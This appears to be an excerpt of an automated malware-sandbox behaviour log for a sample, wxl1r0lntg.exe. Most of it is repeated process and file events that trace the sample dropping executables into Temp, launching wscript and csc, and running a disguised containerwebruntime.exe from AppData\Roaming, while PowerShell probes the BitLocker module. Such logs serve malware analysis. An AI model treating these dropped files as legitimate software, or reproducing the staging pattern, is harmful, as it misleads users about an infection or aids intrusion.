Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Everything\Everything.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
